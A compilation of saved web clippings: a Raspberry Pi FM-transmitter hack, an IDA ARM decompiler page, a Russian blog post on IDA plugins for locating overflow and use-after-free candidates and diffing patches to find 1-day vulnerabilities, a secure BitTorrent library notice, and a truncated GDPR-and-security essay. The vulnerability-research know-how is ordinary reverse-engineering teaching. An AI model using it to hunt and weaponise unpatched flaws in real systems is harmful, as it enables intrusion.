December 10, 2012 By Mike Szczys  73 Comments

<img src='img/Temp2_8436.png' width='580' height='370' alt='rpi-fm-
transmitter' />

Now here’s a project that actually hacks the Rapsberry Pi rather than just
using it as an embedded computer**.** \[Londons Explorer\] figured out how to
turn the RPi into an FM transmitter **.** For now it’s done entirely in the
user space, but we’re sure it could be improved if someone wanted to drill
down further into the hardware**.** For those wanting to give it a try he’s
rolled everything into a simple python package**.**

The technique requires nothing additional except a 20cm wire to serve as an
antenna**.** The trick is to map GPIO pin number 4 to a position in
memory**.** The clock generator is then used to toggle this pin at 100 MHz,
which is the frequency to which your radio should be tuned**.** A fractional
divider adjusts the frequency based on the sound file being transmitted**.**

The proof of concept for this was able to reliably transmit at a distance of
about fifty meters through several walls**.** The problem is that this
technique is limited in the amount of data which can be sent**.** Right now
it’s only about 6-bit audio**.** But descending deeper through the abstraction
layers to put DMA \(Direct Memory Access\) to use may be able to improve upon
this**.**

\[Thanks Owen via Reddit \]

****

# arm-thumb-decompiler-plugin - ARM/Thumb decompiler for IDA Pro - Google
Project Hosting

**Created:**| _8/6/2013 11:53:57 AM_  
---|---  
**Updated:**| _8/6/2013 11:53:57 AM_  
**Author:**| __  
**Tags:**| __  
  

# **A** RM/Thumb decompiler for IDA Pro****

Project Information <img src='img/Temp2_10090.gif' width='15' height='15' /> Starred by 10 users  **Members** |  Originally made by a fellow named Ludde\(Creator of uTorrent\), this amazing piece of software outputs decompiled code from mainly THUMB assembly right now**.** Original source is hard to find, so here's my updated version**.** Needs IDA Sdk to compile.   
---|---  
Powered by Google Project Hosting

****

# плагины к IDA | Alexander Bazhanyuk
**Created:**| _5/22/2011 1:36:10 PM_  
---|---  
**Updated:**| _5/22/2011 1:36:27 PM_  
**Author:**| __  
**Tags:**| _python iDA plugin programming_  
  

# плагины к IDA

Posted on May 21, 2011 by virvdova

**IDA plugin****s**

Немного расскажу про плагины к IDA.  
IDA – интерактивный дизассемблер, который широко используется для реверс-
инжиниринга. Для статического анализа бинарных файлов.  
Это платное ПО. Все про версии, цены можно узнать на http://www.hex-rays.com/  
К IDA есть SDK, на основе него разрабатываются плагины к IDA.  
Все версии SDK можно скачать http://www.woodmann.com/crackz/Ida.htm  
Еще можно всякого полезного ПО, для дизассемблированния, можно найти тут:
http://www.wasm.ru/toollist.php?list=13  
Саму IDA можно скачать тут: http://rutracker.org/forum/viewtopic.php?t=2537609  
Это будет версия 5.5 – доступная в общем доступе. Я пользуюсь ей.  
Начиная с версии 6.\* в IDA используется Qt-шный интерфейс.

**Теперь про плагины**  
Начнем по порядку, в комплекте к SDK идут демонстрационные плагины – они не
очень полезны, но для ознакомления с SDK, пойдут в самый раз.  
Если немного более сложные плагины, которые упрощает статический анализ
бинарного файла. Поиск потенциальных уязвимостей – мест в файле, которые
статически выглядят как уязвимость и при определенных обстоятельствах
\(значений памяти и регистров\) приведут к exception-у.  
Вот например:  
Плагин findMemcpy – ищет в бинарном файле все вызовы inline memcpy \(rep
movsd, rep movsb\), если мы можем контролировать значение ecx – это
потенциальная уязвимость \(heap overflow, или stack overflow\).  
Результат плагина выглядит так:

39F8956C memcpy movsd only  
39F90DAE memcpy movsd only  
39F90DB7 memcpy movsd only  
39F90DC2 memcpy movsd only  
39F9B60F memcpy movsd only  
39F9C6F6 memcpy movsd only  
39F9C76E memcpy movsd only  
39F9C9B4 memcpy movsd only  
39F9D482 memcpy movsd only  
39FA5354 memcpy movsd only  
39FA56F0 memcpy movsd only  
39FA61D5 memcpy movsd only  
39FA6D9F memcpy movsd only  
39FA6E5C memcpy movsd only  
39FA6F7E memcpy movsd only  
39FA737B memcpy movsd only  
39FA7709 memcpy movsd only  
39FA7A0D memcpy movsd only  
39FA7E65 memcpy movsd only

Так же существует плагин findStrcpy, который ищет все вызовы функции импорта,
такие как: strcpy, sscanf,…. Этот список очень легко расширяется.

Interger overflow – это все математические операции. Но тут есть нюанс,
целочисленное переполнение, это не просто математическая операция, в которой
не проверяется результирующее значение, это когда целочисленное переполнение,
после того как оно произошло приводит к heap overflow, или stack overflow. То
есть для определения Interger overflow, нужно фиксировать все математические
операции, сохранять результирующею переменную и выводить стек вызовов функции
которые используют данную переменную. После анализа этого стека можно сделать
вывод – уязвимость это или просто переполнение математической операции,
которое ни к чему не приведет.

По аналогии с данными плагинами можно сделать плагин: findMalloc, который
будет искать вызовы: “HeapCreate” , “HeapAlloc”, “HeapReAlloc”, “HeapFree”,
“LocalAlloc”, “LocalFree”, “malloc”

Результат работы этого плагина:

Caller to HeapAlloc: 390224F4 \[call ds:HeapAlloc\]  
Caller to HeapAlloc: 390259B5 \[call ds:HeapAlloc\]  
Caller to HeapAlloc: 39035290 \[call ds:HeapAlloc\]  
Caller to HeapAlloc: 3903559D \[call ds:HeapAlloc\]  
Caller to HeapAlloc: 390FE044 \[call edi ; HeapAlloc\]  
Caller to HeapAlloc: 390FE065 \[call edi ; HeapAlloc\]  
Caller to HeapAlloc: 390FE4C7 \[call esi ; HeapAlloc\]  
Caller to HeapAlloc: 390FE4DC \[call esi ; HeapAlloc\]  
Caller to HeapAlloc: 3918431C \[call ds:HeapAlloc\]  
Caller to HeapAlloc: 391C948A \[call ds:HeapAlloc\]  
Caller to HeapAlloc: 3923A952 \[call ds:HeapAlloc\]  
Caller to HeapAlloc: 39408576 \[call ds:HeapAlloc\]  
Caller to HeapAlloc: 394088F2 \[call ds:HeapAlloc\]  
Caller to HeapAlloc: 394089E4 \[call ds:HeapAlloc\]

Есть еще плагин indirectCalls – это плагин с помощью которого можно найти в
бинарном файле все indirect call, indirect jmp это показатели таких типов
уязвимостей как: use-after-free. Так же с помощью этого плагина можно
связывать indirect call \(это только для .exe файлов, при этом indirectCalls
запускает debugger\)  
Результат работы этого плагина:

0×39005048 x sub\_39004FA8 call dword ptr \[eax+4\]  
0×39005064 x sub\_39004FA8 call dword ptr \[eax+4\]  
0x3900527E x sub\_39004FA8 call dword ptr \[ebx+4\]  
0×39005286 x sub\_39004FA8 call dword ptr \[ebx+8\]  
0x39005F21 x MSO\_2084 call dword ptr \[ecx+8\]  
0x39005F8C x sub\_39005F45 call dword ptr \[eax+8\]  
0×39006296 x sub\_3900626A call eax  
0x3900638C x sub\_3900636F call eax  
0x39006ADA x sub\_39006971 call \[ebp+var\_BC\]  
0x390073B5 x MSO\_2821 call dword ptr \[ecx\]  
0x3900747B x sub\_390071F5 call eax ; dword\_39FFEB08  
0x39007C4A x sub\_39007C2E call dword ptr \[eax+8\]  
0x39007D90 x sub\_39007D6D call dword ptr \[eax\]  
0x39007E5F x sub\_39007E19 call dword ptr \[eax+4\]  
0x39007F0D x sub\_39007E19 call dword ptr \[eax\]  
0x39007F38 x sub\_39007E19 call dword ptr \[eax+8\]  
0x39007FCA x sub\_39007E19 call dword ptr \[eax\]

Есть еще очень хороший плагин detpdb, он нужен что бы подгрузить символы
\(названия функции, переменных,…\) в idb файлы \(файлы, которые создает IDA –
db, в которой вся необходимая информация для работы с соответственным
файлом.\)  
Что бы подгрузить символы в idb нужно:  
1\. Проверить что бы символы были скопирываны из SRV\*c:\symbols\*
http://msdl.microsoft.com/download/symbols в c:\symbols.

Если они скопированы то перейди в 2, если нет, то установить windbg и
подгрузить символы в windbg.

2\. Скачать из http://www.phreedom.org/software/detpdb/ – detpdb-1.0.zip  
3\. pdb.plw и pdb.p64 копируем в папку в IDA plugins.  
4\. detpdb.cfg копируем в IDA\cfg.  
5\. dbghelp.dll и symsrv.dll из директории windbg копируем в IDA директорию.

Немного про патчи и их дифференциальный анализ.  
Все популярные вендора, время от времени выпускают патчи, например Microsoft –
делает каждый второй вторник месяца.  
Но после выхода патча, обновляются далеко не все, и если обновляются то не
моментально. Процесс обновление растягивается на пару дней.  
То есть, существует временное окно, когда уязвимость в ПО уже закрыта, но у
конечные пользователи еще не накатили патчи \(так называемые 1-day
уязвимости\).  
Для их определения существует плагины к IDA, в которых можно посмотреть
разницу между непатченым ПО и патченым.  
Вот перечень этих плагинов:

_Bindiff_  
_DarunGrim_  
_turbodiff_  
_patchdiff_

Первый, Bindiff – платный, разрабатывается компанией zynamics, которую недавно
купил Google. Все остальные плагины из этого списка open source. В turbodiff и
patchdiff используются достаточно простые алгоритмы: простая проверка
checksum, и самые простые алгоритмы сравнения графов.  
Примеры результата turbodiff:

————————————————————-  
changed functions: 9  
\[.\] 7541da58 NegHandleServerReply\(ulong,\_NEG\_CONTEXT \*,\_UNICO – \[.\]
7573d93e NegHandleServerReply\(ulong,\_NEG\_CONTEXT \*,\_UNICO  
\[.\] 75423435 NegpIsLocalOrNetworkService\(void \*,void \*,ulong, – \[.\]
75743496 NegpIsLocalOrNetworkService\(void \*,void \*,ulong,  
\[.\] 7542352c NegpMapLogonRequest\(void \*,void \*,ulong,\_MSV1\_0\_ – \[.\]
7574358d NegpMapLogonRequest\(void \*,void \*,ulong,\_MSV1\_0\_  
\[.\] 75426260 LsapInitLsa\(\) – \[.\] 757497fa LsapInitLsa\(\)  
\[.\] 7542f911 LoadParameters\(\) – \[.\] 7574f9b2 LoadParameters\(\)  
\[.\] 7543e6b7 NegHandleClientRequest\(ulong,\_NEG\_CONTEXT \*,ulon – \[.\]
7575e3f5 NegHandleClientRequest\(ulong,\_NEG\_CONTEXT \*,ulon  
\[.\] 7543f018 NegpDetermineTokenPackage\(ulong,\_SecBuffer \*,ulo – \[.\]
7575f095 NegpDetermineTokenPackage\(ulong,\_SecBuffer \*,ulo  
\[.\] 7541b53a NegBuildRequestToken\(int,\_NEG\_CREDS \*,\_UNICODE\_S – \[.\]
7573b69c NegBuildRequestToken\(int,\_SecBufferDesc \*,\_NEG\_C  
\[.\] 75437b46 LsapCaptureClientTokenGroups\(x,x,x,x\) – \[.\] 75766cc4
LsapCaptureClientTokenGroups\(x,x,x,x,x\)  
————————————————————-

Примеры результата patchdiff:

<img src='img/Temp2_10808.png' width='1366' height='768' /><img
src='img/Temp2_10807.png' width='1366' height='768' /><img
src='img/Temp2_10806.png' width='1366' height='768' />

В DarunGrim используются шаблоны сигнатуры для выявления уязвимостей, такие
как, например изменение графа функции путём добавления вызовов проверочных
функции \(например, для поиска integer overflow\).  
Так же в DarunGrim3 – есть сервис, который имеет очень много хороших
оптимизаций, к примеру, автоматическое скачивание патчей от Microsoft.
Определение вендоров и версии ПО в директории.

Так же существует очень хорошая сборка этого плагина тут: http://darun-grim-
script.googlecode.com/svn/trunk в которой есть скрипт dgScript.py, который
умеет проводить сравнение не файлов, а директорий, или полностью создавать idb
для всей директории. Если написать очень простой wrapper над этим скриптом
можно полностью работать с консоли, при анализе патчей, IDA тоже будет
запускаться исключительно из консоли.

Совсем недавно, мой коллега по цеху, Никита Тараканов предложил очень хорошую
идею – сравнивать не весь файл, а только например вызовы операции malloc, и
передаваемых в нее значений. Это очень упрощает сам дифф и это автоматически
определяет уязвимость и локализирует ее.

Есть еще один интересный плагин ida-x86em, его можно скачать
http://ida-x86emu.sourceforge.net/  
Он эмулирует работу процессора, очень полезен может быть для реализации VSA и
частичного вычисления значений нужных сущностей, еще до трассировки бинарного
файла.

Совсем недавно, был открыт код еще одного хорошего плагина – это IDAOCaml,
который можно скачать http://code.google.com/p/idaocaml/  
Этот плагин добавляет интерпретатор OCaml в IDA. Это может усилить интеграцию
IDA и BitBlaze.

Поведаю класс плагинов - которые из idb, определенные значения передают в db:
mysql,sqlite3,… для анализа бинарных файлов, IDA не используется вообще.  
Можно писать автоматические анализаторы значений в этой db, поиски путей графа
и т.д.  
Таких существует 2 плагина:  
_ida2sql от zynamics;_  
_ida2sql от bitblaze._

**ida2sql от zynamics**

ida2sql от zynamics можно скачать из https://github.com/zynamics/ida2sql-
plugin-ida  
Этот плагин создает db для каждой idb

Для работы с ним необходимо:

1\) Установить:  
1\. Python2.5 \(http://www.python.org/ftp/python/2.5/python-2.5.msi\)  
2\. idapython-1.2.0\_ida5.4\_py2.5\_win32
\(http://code.google.com/p/idapython/downloads/list\)  
3\. MySQL-python-1.2.2.win32-py2.5.exe
\(http://sourceforge.net/projects/mysql-python/files/mysql-python/1.2.2/\)  
2\) Скачать idapython-1.2.0\_ida5.4\_py2.5\_win32
\(http://code.google.com/p/idapython/downloads/detail?name=idapython-1.2.0\_ida5.4\_py2.5\_win32.zip&can=2&q=\)  
3\) Скопировать из idapython-1.2.0\_ida5.4\_py2.5\_win32\python\\\* в
C:\Program Files\IDA\python  
4\) Скопировать из idapython-1.2.0\_ida5.4\_py2.5\_win32\ plugins\\\* в
C:\Program Files\IDA\ plugins  
5\) Скопировать непосредственно плагин ida2sql в C:\Program Files\IDA\python  
6\) Скопировать ida2sql\ ida2sql.cfg в C:\Program Files\IDA\  
7\) Добавить в C:\WINDOWS\system32\drivers\etc\ hosts имя mysql server-a
например:  
10.0.2.2 devst  
8\) В mysql server создать базу командой: mysql> create database tmp3;  
9\) Вности изменения в конфиг:  
engine: MYSQL \# тип базы  
host: devst \# имя mysql server которое прописывалось в hosts  
schema: tmp3\# имя базы куда будет сгружаться структура бинаря.  
user: root \# имя пользователя  
password: test \# пароль пользователя

10\) Запустить в IDA плагин idapython \(Alt+9\) и выбираем выполнить
ida2sql.py.

Вот таблицы, которые он заполняет:

mysql> show tables;  
+——————————-+  
| Tables\_in\_nd\_proxy\_sys |  
+——————————-+  
| ex\_1\_address\_comments |  
| ex\_1\_address\_references |  
| ex\_1\_basic\_blocks |  
| ex\_1\_callgraph |  
| ex\_1\_control\_flow\_graphs |  
| ex\_1\_expression\_nodes |  
| ex\_1\_expression\_substitutions |  
| ex\_1\_expression\_tree\_nodes |  
| ex\_1\_expression\_trees |  
| ex\_1\_functions |  
| ex\_1\_instructions |  
| ex\_1\_operands |  
| ex\_1\_sections |  
| modules |  
+——————————-+  
14 rows in set \(0.00 sec\)

mysql>

По названию можно интуитивно понять, что в них содержится.  
По данным из этих таблиц, можно построить алгоритм поиска путей в графе,  
например от точки А к точки B все пути в графе.  
Использовать можно такой алгоритм:

\(у нас есть cfg.\)  
1\. Ищем все вершины, которые выходят с вершины А. используем алгоритм поиска
по графу в ширину. Все вершины которые выходят с А копируем в граф cfg’. Таким
образом, мы отсекаем все ненужные вершины. Схематически это будет в виде  
А  
/ \

2\. Ищем все вершины, которые входят в B из cfg’.используем алгоритм поиска по
графу в ширину только с низу в верх. Схематически это будет выглядеть

\ /  
B

1\. + 2.:

A  
/ \  
\ /  
B

Все результирующие вершины – это те вершины, которые являются подграфом в
данном графе и это множество всех вершин, через которые проходят все пути из
точки А в точку B. Точка А это могут быть функции экспорта, может быть вход в
исполняемый файл. Точка B это потенциальная уязвимость, которую мы искали
средствами плагинов: findMalloc, indirectCalls

Для файлов большого объёма, например mso.dll, ida2sql от zynamics не сможет
сделать db, так как этот плагин написан на python и при формировании db,
плагин всю структуру таблиц и их содержание хранит в памяти, а в x86 процесс
может пользовать не больше чем 2G памяти.  
Поэтому, для использования ida2sql для больших файлов нужно разделять на
несколько db, по функциям. Про это написано в документации к ida2sql от
zynamics.

**ida2sql от bitblaze.**  
Это закрытый проект, который копирует из idb определенную информацию в
sqlite3, те базы, которые он создает, полностью интегрированы с функционалом
VINE \(Bitblaze\).  
То есть VINE можно использовать для анализа PE файлов и DLL.

Ну вот, пожалуй и все. Это все плагины-помощники, которые я использую.

# Operational cryptology and virology lab: Andromede library available

**Created:**| _2/6/2011 8:36:15 PM_  
---|---  
**Updated:**| _2/6/2011 8:37:03 PM_  
**Author:**| __  
**Tags:**| _network-security_  
  

### Andromede library available

Hi to all

  

The Andromede library \(stable version 0.2.0\) has just been released on
code.google.com. This library implements a secure version of bittorrent
protocol protected with the Perseus technology. You can now exchange your
torrent files without fearing to be eavesdropped.

The How-to in English should be available soon.

  

Have fun with this library

  

E.F.

# The Art, Science, and Engineering of Fuzzing: A Survey

**Created:**| _5/10/2019 8:36:36 AM_  
---|---  
**Updated:**| _5/10/2019 9:51:50 AM_  
**Author:**| __  
**Tags:**| _Fuzzer fuzzing_  
  

  

<img src='img/1812.00140.pdf' />

# Data Protection, Security, and the GDPR: A fuzzy and fraught relationship –
Infospectives

**Created:**| _9/1/2020 12:57:51 PM_  
---|---  
**Updated:**| _9/1/2020 12:57:51 PM_  
**Author:**| __  
**Tags:**| _gdpr_  
  

  

Corporate Security

# Data Protection, Security, and the GDPR: A fuzzy and fraught relationship

By Infospectives on January 7, 2018 • \( 3 Comments \)

## <img src='img/relationship-of-data-protection-and-security-1024x537.png'
width='1024' height='537' />

## _There can be no security without data protection_

* * *
## _There can be no data protection without security_

Of course neither is true. These kind of click-baity absolutist positions are
a pervasive internet blight designed to divert attention from critical detail
to exploit and divide us…or…less dramatically \(touch of fallout from Twitter
timeline trauma there\) they’re just distracting and singularly unhelpful.  
Motivation to write this came from those kind of fact-lite discussions about
privacy, the General Data Protection Regulation \(GDPR\), and the part
security plays in scoping work and then getting it done. I’ve watched spats,
roasts, and much grinding of virtual teeth while folk I greatly respect try to
correct myths and misconceptions e.g “95% of GDPR compliance is encryption”,
“ISO27001 = job done”, “Your GDPR certified consultant took our GDPR certified
course and can now GDPR certify you”, “No less than compliance will do”, and
“Buy this blinky box or FINES”.  
This is an ambitious \(misguided?\) attempt to unpick some of that with a
little useful content. Now a post in multiple parts because it just got tooo
long. First a look at:

  * 1.1 The media backdrop
  * 1.2 The Crux: a.k.a what the GDPR really says about security
  * 1.3 Security as source of privacy risks: security as a legitimate interest, IP addresses as personal data, and profiling in a security context.

In subsequent installments, we’ll take a closer look at other misleading
missives that are helping to perpetuate disagreements and disconnects.

## 1.1 Wading through security soup

While cybersecurity and the GDPR dominate a roughly comparable weight of more
or less click-baity headlines \(these are not links, but a quick browse will
turn up plenty of examples\)…

  * Consent: why it’s all you need and why you can’t ask for it
  * CPUs are melting
  * 100% compliance or bust,
  * Ransomware: be afraid, be very afraid
  * Our \[insert shiny blinky thing here\] can make you compliant
  * Critical infrastructure is going critical 
  * GDPR fines will put you out of business
  * The Internet of Things will end us
  * Advertising is history
  * AI: Run and scream, or bet the farm
  * Privacy is dead, so meh

…the commercial world isn’t blind. Security is a marketing route into GDPR,
and vice \(enthusiastically\) versa. That leaves your CXOs, lawyers, data
protection teams, IT bodies, and security folk wondering what the heck to
spend the budget on, because all of them are being targeted by very skilled
influencers in different ways.

* * *
**_Confusion stems from security vendors and security experts misunderstanding
the GDPR, not filtering out their security bias, or willingly leveraging GDPR
furore to drive a security-centric agenda_**

* * *
The result is often inadequate collaboration and implementation paralysis:
Different siloed parties developing piecemeal solutions, everyone waiting on
everyone else for specialist inputs \(and often reporting each other as
blockages\), while external influencers discretely steer purseholders in TBC
directions. All thanks to a lack of adequately skilled and influential bodies
with ability to straddle all groups and create a rational consensus. A plan
fit for your local operational, strategic, and regulatory risk mitigation
purposes.

## 1.2 The Crux

\(as per GDPR Article 5: Principles relating to processing of personal data,
and Article 32: Security of processing\)  

<img src='img/gdpr-article-5-principles4-e1514907261233-768x499.jpg'
width='735' height='478' />

Click to enlarge

  
As privacy professionals are quick to point out, only ONE principle out of 8
in the UK’s 1998 Data Protection Act references security and the same \(on the
face of it\), is true for the GDPR. However that is only part of the picture.
It needs a closer look to see how this shakes down in organisational reality.

* * *
## _**Security and Data Protection intersect where:**_

_**people, process, or technical controls\***__ **are required to minimise the
risk of harm to data subjects resulting from a personal data breach**_

_**OR**_ _**business as usual processing**_

_AND_

_**a security functions’ own people, process, or technical controls involve
processing personal data**_

_PLUS_

_**security input is needed to assess, oversee, and/or pay for GDPR related
change**_

* * *
\*not forgetting physical security controls \(a common mistake made by many
cybersecurity folk\).  
Below are pertinent GDPR extracts highlighting how responsibility is delegated
to organisations to define control appropriateness and adequacy. In future
there may be some help from codes of conduct and certifying bodies when
\(if?\) they appear, but don’t hold your breath for anything detailed.  
Inherent in that is a requirement to effectively assess risk to both the
organisation and potentially impacted data subjects, then document that
assessment. If you can’t or won’t do that, you can neither identify and
prioritise required control, nor defend pragmatic limitations on the type and
extent of controls you implement.

> <img src='img/presentation1-e1514905422593-1024x245.jpg' width='1470'
> height='351' />  
>  No specific security control type is mandated by the GDPR…really…not even
> encryption.  
>  <img src='img/gdpr-extract1-e1514905011517-1024x520.jpg' width='1452'
> height='738' />  
>  Security controls ARE required to minimise the specific local risks of
> harmful personal data compromise for a given organisation and that
> organisation’s third parties  
>  <img
> src='https://infospectives.files.wordpress.com/2017/12/article-32-extract-4-e1514905973633.jpg'
> width='1429' height='260' />  
>  No detailed standard of information security control is mandated by the
> GDPR…yet.  
>  <img src='img/article-32-extract-5-e1514905933469-1024x304.jpg'
> width='1500' height='446' />
It’s also always worth reading the recital that sits behind each article. In
this case Recital 83:  
<img src='img/recital-83-e1514906713130-768x304.jpg' width='779' height='308'
/>  
Aiming to be thorough, here’s a PDF document I created, including all of the
other mentions of ‘security’ in the GDPR \(excepting references to national or
public security\). None of which contradict the crux of the relationship
stated above.  
If I had to draw out one fact from everything above that needs to be drilled
into the heads of many security practitioners \(including me in the early
days\), it’s this:

* * *
## _Data Protection is NOT just about minimising the probability and impact of
breaches_

## _Data Protection IS about minimising the risk of unfair impact on data
subjects resulting from historical data processing, processing done today, and
processing you and your third parties might do in future._

* * *
The Data Protection Bill, specifying how the GDPR becomes part of UK law,
reflects all of the above requirements and definitions relating to security.
There is no significant variation in either interpretation or current legal
derogation, however that may change as it proceeds through the final steps to
become law.

## 1.3 Security as source of privacy risks

What people must not forget are risks to an individual’s rights and freedoms
that can be caused BY information security. This is a less frequent debate,
but a lively one, because many people are still unaware that security can be
classed as a legitimate organisational interest…  
…IF related data processing is sufficiently limited, fair, transparent, and
secure, it doesn’t involve automated decision-making, AND it doesn’t involve
special data classes.  

<img src='img/screen-shot-2018-01-24-at-20-39-16-e1516826393597.png'
width='842' height='200' />

GDPR Article 6\(f\) – Link to full Article 6 text

  
For those not familiar with the concept of legitimate interest, it is one of
the 6 legal grounds in Article 6 for processing personal data, including \(but
not limited to\); consent, fulfilling a contract, and fulfilling other legal
obligations. Organisations need to choose the most appropriate one for each
specific data collection purpose and processing use case.  
The headline implication for most security leaders will therefore probably be:

* * *
_**If you meet requirements to claim and defend a legitimate interest in
processing personal data for security purposes, you don’t need to obtain
consent from data subjects**\(more on that, including inevitable caveats,
below\)**.**_

* * *
If data handled includes data about children you can still rely on legitimate
interest, but you have to assess and document diligent consideration of
specific related risks. On 21st December 2017 the ICO began consultation on
local guidelines for processing data about children under the GDPR. This is
the draft and consultation is open until 28th February.  
<img src='img/recital-49-e1515513402748-1024x322.jpg' width='1375'
height='433' />  
Security as a legitimate interest is still under debate for the public sector
as they have been denied use of legitimate interest as a legal basis to carry
out their core duties, but security can reasonably be argued to fall outside
that direct public service remit.  
There is also an untested argument that private and public sector companies
could rely on other legal, contractual, or public interest bases for security
related processing.  

<img src='img/screen-shot-2018-01-24-at-17-40-08.png' width='502' height='573'
/>

Link to full Article 6 text

  
For example, the NIS Directive \(The Directive on security of network and
information systems\) mandates cybersecurity standards for European member
states, but scope is limited to critical national infrastructure and other
organisations that members deem to be operators of essential services e.g.
cloud computing services and online marketplaces  
In addition, almost all cybersecurity requirements in contracts and laws are
relatively high level. No list of controls or referenced standards can hope to
reflect the myriad of threat environments, technologies, operating models, and
sizes of organisations. Even when there are granular requirements, their
validity doesn’t survive the rapid rate of technological and threat change.
All of which limits the usefulness of contracts and other applicable laws as a
legal basis for security related personal data processing \(thank you to Neil
Brown, MD of Decode Legal and telecoms, tech & internet lawyer, for
highlighting those points\).  
Member states are free to add other local exceptions for processing, but that,
right now, is the situation.

## **IP addresses as personal data**

Since IP addresses started to be viewed as personal data, IT and security
teams have become MUCH more interested in data protection. IPs are not defined
as a type of personal data in isolation, but an IP address can help to single
an individual out.

* * *
_**We just can’t assume that “technical intelligence”**_ _**such as IP address
resolution is infallible.**_

* * *
From Naked Security post ‘IP addresses lead to wrongful arrests, by Lisa Vaas,
2nd January 2018  
Yes, folk with moderate tech awareness and a low privacy risk threshold, might
run Virtual Private Networks \(VPNs\) and browse via TOR, but by association
with other data points \(e.g. browsing metadata, device info, content
geolocation\) one could drill down to a postcode, premises, or small group of
users and harvest aggregate data that enables harm to the rights and freedoms
of individuals. Here’s out-law.com with a far meatier legal perspective on IPs
as personal data.  
Attempting to work through a processing example to try to make this clearer:
say the security team engage a 3rd party to provide a website plugin and
service allowing you to positively identify and block devices posing known or
likely risks.

## **Device fingerprinting and profiling for security purposes**

Device fingerprinting works by capturing data about devices and browsing
sessions to create a unique identifier that allows the device to be tracked
across sites and linked to historical activity. It will typically include
details like IP address, browser type/configuration, operating system version,
and sometimes much, much more \(depending on client-side control and how it’s
done e.g. some fingerprinting involves proactive interrogation of the
connecting device to acquire substantial extra detail\). This is independent
of cookies which you should now be familiar with.

* * *
**The GDPR Definition of Profiling**

_**“Any form of automated processing of personal data consisting of the use of
personal data to evaluate certain personal aspects relating to a natural
person, in particular to analyse or predict aspects concerning that natural
person’s performance at work, economic situation, health, personal
preferences, interests, reliability, behaviour, location or movements.”**_

_****GDPR Article 4\(4\)_

* * *
Device fingerprints are compiled and algorithmically judged against a bunch of
pre-defined or bespoke criteria. The result is used to determine whether a
device is ‘bad’ then alert you so it can be investigated. At the same time the
tool may refer to a database of known ‘bad’ devices previously identified by
the vendor and the vendor’s other clients  
Here’s the register looking at device fingerprinting in the context of
advertiser related tracking. They confirm that cookie rules requiring user
consent \(part of the Privacy and Electronic Communication Regulations –
essential additional reading because it interacts with many GDPR
requirements\) apply to device fingerprinting too, but they also reference
this security related exception.  
**Special data classes and automated decision-making**  
If you are automatically blocking devices, you need to bear in mind that
automated decisions with no human interaction \(using algorithms or more basic
fixed rules\), are a GDPR red flag.  
If those decisions could cause legal or other similarly significant effects
for data subjects \(that is the precise GDPR wording for unacceptable fallout.
Do check out some of the links at the end of this section for tips on how to
judge\), or special classes of data are involved, processing is prohibited by
default \(see article 9 for limitations on legitimate interest and other
conditions for processing special data classes\).  
It therefore requires explicit consent, or another justifiable legal basis
\(see the full list of Article 6 legal grounds for processing shown earlier\).
That’s all enshrined in GDPR Article 22 as a key data subject right

* * *
_**Profiling is only as unbiased and benign as the people who define
requirements, collect data, design algorithms, share outputs, and then**_
_**act on results.**_

* * *
Profiling more generally also comes under scrutiny. The risks associated with
bulk algorithmically enabled processing and automated decision-making,
especially in the contexts of surveillance and social media, were fundamental
drivers for creation of the regulation.  
To put those risks and some undoubted information age benefits in better
context I would recommend everyone reads this briefing paper presented to the
European Parliament by Caspar Bowden. Although written in 2013, the
sociological, political, commercial, technical, and ethical points are more
than current enough to highlight the challenges and the price of apathy.  
<img src='img/facebook-emotional-manipulation-400x300.jpg' width='400'
height='300' />  
The GDPR requires you to retain ability to unpick the algorithmic reasoning,
because data subjects have a right to request human intervention in decisions,
and to understand how and why decisions are made, to the extent it impacts
them. That, with the explosion of innovation in this space, and shortage of
people capable of translation, will be an enduring challenge. One I’ve
previously written about at length.  
**Data subjects can still object, and you are still required to protect**  
Also, although legitimate security and fraud protection interests might negate
the need for consent if you can effectively evidence there isn’t potential for
significant harm, that doesn’t remove a data subject’s right to object, or the
need to implement adequate security controls. If you receive a complaint about
profiling, or there’s a related breach, those controls and justifications will
really be put through their paces.  
Check out the Article 29 Working Party \(WP29\) guidance on Data Privacy
Impact Assessments \(DPIAs\) featuring profiling as a trigger for assessment,
and more specific ICO, WP29, and other related guidance below:

  * Article 29 Working Party – Guidelines on Automated individual decision-making and Profiling for the purposes of Regulation 2016/679, wp251
  * ICO – Rights related to automated decison-making including profiling
  * Bird & Bird News Centre –  Article 29 Working Party Guidelines on Automated Decision-Making and Profiling
  * Field Fisher Privacy Law Blog – Let’s sort out this profiling and consent debate once and for all 

* * *
**Do your due diligence**  
As a data controller, a DPIA and more general due diligence should be carried
out to confirm the data protection and related data security controls in place
at the vendor organisation, and the extent of data captured and accessed by
the vendor, the vendors’ suppliers, and other vendor clients.  
The WP29 guidance on DPIAs gives a pretty good list of things to cover,
including impact of automatic algorithmically triggered blocking and human
approved blacklisting. e.g.:

  * Is it REALLY necessary? Here’s the UK ICO’s updated guidance on legitimate interest as a legal basis for processing. Quoting from the same:

* * *
_**‘Necessary’ means that the processing must be a targeted and proportionate
way of achieving your purpose. You cannot rely on legitimate interests if
there is another reasonable and less intrusive way to achieve the same
result.**_

* * *
  * Are you using data to make automatic decisions about data subjects? If yes you are prohibited by default from processing special data classes for this purpose.
  * Will it involve data about children? If yes, what are the potential risks? How can you mitigate significant risk, or reliably remove or redact that data?
  * If it does involve special data classes, can you get consent to process that subset of data?
  * If you can’t obtain consent, can you remove or reliably redact that data? If you can’t, can you identify another legal basis for processing? If you can’t you need to stop processing the data for this purpose.
  * If you can obtain consent, can you cease processing an individual’s special data if consent is withdrawn? If you can’t reliably remove or redact that data subset, consent is pointless, so it is not a fair and appropriate legal basis.

So again, is processing really necessary, and what is the risk?

  * How does blocking a device limit future data subject interactions with your organisation and your supplier or partner organisations?
  * If you label their device as ‘bad’, are they added to the vendor’s shared bad device list?
  * How might that impact their ability to access other online services in future?
  * Will the data be shared with other internal departments or 3rd parties for different processing purposes?
  * Is any related fallout for data subjects likely to have legal ramifications, or other equally significant impacts?
  * Does potential harm that could be caused outweigh the benefit of blocking them e.g. protecting other online service users and associated systems?

You can’t avoid this work. Processing personal data for most security purposes
will be a justifiable legitimate interest, but you can’t just wing it with any
and all data you can get your hands on, and you have to show your workings out
in advance. That MUST include evidence that your organisational interests, or
benefits to data subjects, are not outweighed by potential negative impact on
individuals, or subsets of data subjects. Why? Because you won’t get away with
a hastily scribbled justification when something \(as it inevitably will\)
goes wrong.

* * *
When you’ve picked the legal bits out of those pros and cons, the quickest way
to informally benchmark compliance is always:

## The GDPR Sniff Test

All of the data protection and privacy pros of my acquaintance \(including
